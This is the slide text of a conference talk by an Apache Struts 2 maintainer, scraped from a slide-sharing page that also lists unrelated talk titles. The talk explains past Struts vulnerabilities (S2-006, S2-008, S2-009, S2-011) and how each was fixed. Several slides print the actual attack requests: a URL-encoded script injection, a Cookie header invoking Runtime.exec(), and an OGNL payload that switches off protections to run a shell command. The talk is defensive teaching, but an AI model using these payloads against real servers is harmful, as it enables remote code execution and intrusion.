AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdf
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 

Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"

  • 1. “…  use  the  source  …”   Based  on  Apache  Struts  2  
  • 2. ¡  About  me   ¡  What  is  the  Apache  Struts  2   ¡  Hacking  the  framework   §  S2-­‐006  aka  Client  side  code  injection   §  S2-­‐008  aka  Remote  Command  Execution   §  S2-­‐009  aka  RCE  strikes  back   §  S2-­‐011  aka  DoS   §  Sx-­‐xxx  aka  vulnerability  or  not  
  • 3. ¡  Apache  Struts  2  Lead   ¡  Member  of  Apache  Software  Foundation   ¡  Creative  Software  Engineer  @  SoftwareMill   ¡  Blogger   ¡  IntelliJ  IDEA  addict  J   ¡  JetBrains  Development  Academy  Member   ¡  @lukaszlenart   ¡  Husband,  father  J  
  • 4. ¡  Struts  2  is  a  new  kid  on  the  block   §  No  single  line  shared  with  Struts  1   §  No  form  beans,  no  session-­‐scoped  actions   §  Pure  POJOs,  Interface  steering   §  Strongly  interceptor  oriented   §  Highly  extendable  –  lots  of  plugins   §  Designed  to  be  customizable   §  Powerful  OGNL  expression  language  
  • 5.
  • 6. #ognl   %{…}   ${…}  
  • 8.
  • 9.
  • 10. ¡  When  Dynamic  Method  Invocation  is  enabled   action  name  is  generated  base  on  the   provided  request   ¡  Non-­‐existing  action  will  generate  an  error   page  with  injected  client  code   §  Issue  is  specific  to  Weblogic  server   ¡  http://struts.apache.org/2.x/docs/s2-­‐006.html  
  • 11. ¡  /HelloWorld.action?action%3Alogin!login %3AcantLogin%3Cscript%3Ealert %28window.location%29%3C%2Fscript%3E %3Dsome_value=Submit  
  • 12. ¡  Disable  DMI   §  <constant   name="struts.enable.DynamicMethodInvocation"   value="false"  />   ¡  Upgrade  to  Struts  2.2.3   ¡  Don’t  use  Weblogic  ;-­‐)  
  • 13. ¡  Conversion  error  is  evaluated  as  expression   ¡  Cookie  name  is  evaluated  as  expression   ¡  With  “!”  (bang)  you  can  access  any  public   method  of  action   §  Only  when  Dynamic  Method  Invocation  is  set  to   true,  is  set  to  true  by  default       ¡  http://struts.apache.org/2.x/docs/s2-­‐008.html    
  • 14. ¡  /hello.action?id='%2b(new  Object())%2b’   ¡  Cookie:   @java.lang.Runtime@getRuntime().exec()=1   ¡  /mywebapp/recover!getPassword.action  
  • 15. ¡  Disable  DMI   §  <constant   name="struts.enable.DynamicMethodInvocation"   value="false"  />   ¡  Review  your  action  public  methods   ¡  Use  Strict  DMI  –  list  of  allowed  methods   ¡  DMI  disabled  by  default  as  from  Struts  2.3.1   ¡  Upgrade  to  Struts  2.3.1!  
  • 16. ¡  An  arbitrary  code  can  be  executed  on  server   §  Encoded  value  of  parameter  is  parsed  as  an  OGNL   expression   ¡  http://struts.apache.org/2.x/docs/s2-­‐009.html  
  • 17. ¡  /action?foo= %28%23context[%22xwork.MethodAccessor.deny MethodExecution%22]%3D+new +java.lang.Boolean%28false %29,%20%23_memberAccess[%22allowStaticMeth odAccess%22]%3d+new+java.lang.Boolean%28true %29,%20@java.lang.Runtime@getRuntime %28%29.exec%28%27mkdir%20/tmp/PWNAGE %27%29%29%28meh%29&z[%28foo %29%28%27meh%27%29]=true  
  • 18. ¡  Stronger  pattern  for  parameter  names   §  OGNL  only  sets  value,  does  not  evaluate  it   ¡  Workaround   §  add  a  filter  to  filter  out  all  the  suspicious  looking   parameters/headers   ¡  Upgrade  to  Struts  2.3.1.2  
  • 19. ¡  Denial  of  Service   §  Long  request  parameter  name  is  evaluated  by   OGNL  and  consumes  significant  CPU  cycle   ¡  http://struts.apache.org/2.x/docs/s2-­‐011.html  
  • 20. ¡  POST  /home   veryveryveryevenveryveryveryveryveryveryv eryveryevenevenveryveryveryveryloooooooo ooooooongpramaterename=1   §  300  request   §  parameter  name  length  =  1000000  
  • 21. ¡  Add  parameter  name  length  limit   §  By  default  100  characters   §  User  can  change  the  limit     ¡  Workaround   §  add  a  filter  to  filter  out  all  the  parameters  longer   than  xxx   ¡  Upgrade  to  Struts  2.3.4.1  
  • 22. ¡  Struts  2  allows  nested  OGNL  expressions   §  #  {%{java.lang.System@out.println(“hello”)}}   §  Users  do  not  escape  data   ¡  Example  –  please  judge  
  • 23. ¡  Check  how  vulnerable  your  current  web   framework  is   ¡  Find  a  security  vulnerability,  try  to  inject   JavaScript   §  Report  back  to  the  project  team  
  • 24.     This  is  the  end,  questions?   @lukaszlenart   lukaszlenart@apache.org